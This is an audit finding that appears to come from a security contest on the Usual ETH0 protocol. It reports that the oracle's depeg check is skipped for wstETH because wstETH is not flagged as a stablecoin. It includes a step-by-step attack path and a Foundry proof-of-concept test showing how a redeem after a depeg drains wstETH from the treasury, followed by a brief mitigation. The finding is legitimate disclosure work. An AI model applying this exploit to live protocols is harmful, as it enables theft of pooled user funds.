Elegant Grape Swift

High

# wstETH is not a stablecoin, so the depegging check will be skipped even if wstETH has extremely depegged

### Summary

`AbstractOracle` and its derived contract `ClassicalOracle` skip the depegging check if the token is not a stablecoin (which is the case with wstETH), even tho wstETH should maintain a close peg to ETH. So this check will be useless and the operation will always proceed even if wstETH has extremely depegged, allowing malicious users to exploit it for their advantage.

### Root Cause

In [`AbstractOracle.sol:106`](https://github.com/sherlock-audit/2025-05-usual-eth0/blob/main/eth0-protocol/src/oracles/AbstractOracle.sol#L106) there is a check to prevent the use of depegged assets by using the `_checkDepegPrice()` function. Here's the function :
```solidity
    /// @notice Check if a given token's price is around 1 ETH
    /// @dev    Reverts if the stablecoin(in the context of ETH) has depegged.
    /// @dev    The allowed range is determined by maxDepegThreshold.
    /// @param  token         The address of the token.
    /// @param  wadPriceInETH The price of the token returned by the underlying oracle.
    function _checkDepegPrice(address token, uint256 wadPriceInETH) internal view {
        AbstractOracleStorageV0 storage $ = _abstractOracleStorageV0();

        // Skip the check if the token is not a stablecoin
        if (!$.tokenToOracleInfo[token].isStablecoin) return;

        uint256 threshold = Math.mulDiv($.maxDepegThreshold, SCALAR_ONE, BASIS_POINT_BASE);

        if (wadPriceInETH > SCALAR_ONE + threshold || wadPriceInETH < SCALAR_ONE - threshold) {
            revert StablecoinDepeg();
        }
    }
```

Notice that the function returns without checking if the token is not a stablecoin, and the in-scope token wstETH is **NOT** a stabelcoin, but it should keep a close peg to ETH. (for reassurance, if you look at the FinalConfig deployment script written by the developers, you can see that they set isStablecoin to `false` when it comes to wstETH - [see here](https://github.com/sherlock-audit/2025-05-usual-eth0/blob/main/eth0-protocol/scripts/deployment/FinalConfig.s.sol#L43)). 

So this means even if wstETH has **extremely** depegged from ETH, this function will still proceed with absolutely no issue, causing the use of depegged assets and allowing malicious users to exploit it for their advantage.

### Internal Pre-conditions

N/A.

### External Pre-conditions

Can be exploitable only in case of a depeg.

### Attack Path

1. Bob swaps 1000 wstETH for ETH0 at 1 wstETH = 1 ETH.
2. wstETH depegs to 1 wstETH = 0.5 ETH.
4. Bob notices the opportunity to make profit.
5. Bob redeems 1000 ETH0 for wstETH, he will get approximately 2000 wstETH since `_checkDepegPrice()` will skip the depegging check.
6. Bob waits for wstETH to regain its peg, and will end up with a 1000 ETH profit in value.
7. Bob has effectively made profit off the back of the protocol.

### Impact

- Financial loss to the protocol since the user will end up with a significant gain of value when the token regains its peg.
- Since `redeem()` returns collateral based on the current price, this can lead to draining the balance of the treasury of that collateral token.

### PoC
Put the following test under `./test/PoC.t.sol` :

```solidity
// SPDX-License-Identifier: Apache-2.0
pragma solidity 0.8.20;

import "forge-std/console.sol";
import {ERC20} from "openzeppelin-contracts/token/ERC20/ERC20.sol";
import {Pausable} from "openzeppelin-contracts/utils/Pausable.sol";
import {IERC20} from "openzeppelin-contracts/token/ERC20/IERC20.sol";
import {IERC20Metadata} from "openzeppelin-contracts/token/ERC20/extensions/IERC20Metadata.sol";
import {IUSDC} from "test/interfaces/IUSDC.sol";
import {SetupTest} from "./setup.t.sol";
import {IRwaMock} from "src/interfaces/token/IRwaMock.sol";
import {RwaMock} from "src/mock/rwaMock.sol";
import {MyERC20} from "src/mock/myERC20.sol";
import {Eth0} from "src/token/Eth0.sol";
import {IERC20Errors} from "openzeppelin-contracts/interfaces/draft-IERC6093.sol";
import {Normalize} from "src/utils/normalize.sol";
import {Math} from "openzeppelin-contracts/utils/math/Math.sol";
import {IOracle} from "src/interfaces/oracles/IOracle.sol";
import {DaoCollateral} from "src/daoCollateral/DaoCollateral.sol";
import {IERC20Permit} from "openzeppelin-contracts/token/ERC20/extensions/IERC20Permit.sol";
import {SigUtils} from "test/utils/sigUtils.sol";
import {
    MAX_REDEEM_FEE,
    SCALAR_ONE,
    BASIS_POINT_BASE,
    ONE_YEAR,
    STETH,
    WSTETH
} from "src/constants.sol";
import {
    SameValue,
    AmountTooLow,
    AmountTooBig,
    CBRIsTooHigh,
    CBRIsNull,
    RedeemMustNotBePaused,
    RedeemMustBePaused,
    SwapMustNotBePaused,
    SwapMustBePaused,
    RedeemFeeTooBig,
    NoOrdersIdsProvided,
    InvalidSigner,
    ExpiredSignature,
    InvalidDeadline,
    ApprovalFailed,
    RedeemFeeCannotBeZero
} from "src/errors.sol";
import "@openzeppelin/contracts/mocks/ERC1271WalletMock.sol";

contract DepegExploitTest is SetupTest {
    ERC1271WalletMock public erc1271Mock;

    /*//////////////////////////////////////////////////////////////
                            1. SETUP & HELPERS
    //////////////////////////////////////////////////////////////*/
    function setUp() public virtual override {
        uint256 forkId = vm.createFork("eth");
        vm.selectFork(forkId);
        super.setUp();

        erc1271Mock = new ERC1271WalletMock(alice);
        vm.deal(alice, 1 ether);
    }

    function testDepegExploit() public {
        // Setup wstETH as collateral
        address wstETH = address(WSTETH);
        vm.label(wstETH, "WSTETH Forked");
        if (!tokenMapping.isEth0Collateral(wstETH)) {
            vm.prank(admin);
            tokenMapping.addEth0CollateralToken(wstETH);
        }
        Eth0 eth0Token = stbcToken;
        whitelistPublisher(wstETH, address(eth0Token));
        _setupBucket(wstETH, address(eth0Token));
        _setOraclePrice(wstETH, 1e18); // 1 wstETH = 1 ETH
        console.log("Initial wstETH price: 1 ETH");

        // Fund attacker (bob)
        deal(wstETH, bob, 1000e18); // 1000 wstETH
        deal(wstETH, treasury, 1000e18); // Treasury collateral
        deal(address(eth0Token), treasury, 1000e18); // Treasury ETH0 for redeem
        console.log("Bob wstETH balance:", IERC20(wstETH).balanceOf(bob) / 1e18, "wstETH");
        console.log("Treasury wstETH balance:", IERC20(wstETH).balanceOf(treasury) / 1e18, "wstETH");
        console.log("Treasury ETH0 balance:", eth0Token.balanceOf(treasury) / 1e18, "ETH0");

        // Step 1: Bob swaps 1000 wstETH for ETH0 at 1 wstETH = 1 ETH
        vm.startPrank(bob);
        IERC20(wstETH).approve(address(daoCollateral), 1000e18);
        daoCollateral.swap(wstETH, 1000e18, 900e18); // Get ~1000 ETH0
        uint256 eth0Balance = eth0Token.balanceOf(bob);
        console.log("After swap - Bob ETH0 balance:", eth0Balance / 1e18, "ETH0");
        console.log("After swap - Bob wstETH balance:", IERC20(wstETH).balanceOf(bob) / 1e18, "wstETH");
        console.log("After swap - Treasury wstETH balance:", IERC20(wstETH).balanceOf(treasury) / 1e18, "wstETH");
        assertApproxEqAbs(eth0Balance, 1000e18, 1e15); // ~1000 ETH0
        assertEq(IERC20(wstETH).balanceOf(treasury), 2000e18); // Treasury gains 1000 wstETH
        vm.stopPrank();

        // Step 2: wstETH depegs to 1 wstETH = 0.5 ETH
        _setOraclePrice(wstETH, 0.5e18); // 1 wstETH = 0.5 ETH
        console.log("Depegged wstETH price:", classicalOracle.getPrice(wstETH) / 1e18, "ETH");
        assertEq(classicalOracle.getPrice(wstETH), 0.5e18);

        // Step 3: Bob redeems 1000 ETH0 for wstETH
        vm.startPrank(bob);
        eth0Token.approve(address(daoCollateral), eth0Balance);
        daoCollateral.redeem(wstETH, eth0Balance, 0); // Redeem ~1000 ETH0
        uint256 wstETHReceived = IERC20(wstETH).balanceOf(bob);
        // Calculate expected wstETH: (eth0Balance * 999 / 1000) / 0.5 = eth0Balance * 999 / 1000 * 2
        uint256 expectedWstETH = (eth0Balance * 999 / 1000) * 2; // 1% fee, 0.5 ETH price
        console.log("Bob received wstETH:", wstETHReceived / 1e18, "wstETH");
        console.log("Expected wstETH:", expectedWstETH / 1e18, "wstETH");
        console.log("Bob ETH0 balance:", eth0Token.balanceOf(bob) / 1e18, "ETH0");
        console.log("Treasury wstETH balance:", IERC20(wstETH).balanceOf(treasury) / 1e18, "wstETH");
        assertApproxEqAbs(wstETHReceived, expectedWstETH, 1e15); // ~1998 wstETH
        assertEq(eth0Token.balanceOf(bob), 0); // No ETH0 left
        assertApproxEqAbs(IERC20(wstETH).balanceOf(treasury), 2000e18 - expectedWstETH, 1e15); // Treasury loses ~1998 wstETH
        vm.stopPrank();

        // Impact: Bob got ~1998 wstETH (worth ~999 ETH at depegged price of 0.5 ETH).
        // If wstETH price recovers to 1 ETH, Bob's 1998 wstETH is worth 1998 ETH, a net gain.
        // Treasury lost ~1998 wstETH (worth 999 ETH at depegged price) for 1000 ETH0 burned, a net loss.
        console.log("Impact - Bob's wstETH value if recovers to 1 ETH:", wstETHReceived / 1e18, "ETH");
    }
}
```

### Mitigation

Don't check only for stablecoins, but for all tokens that should keep a peg.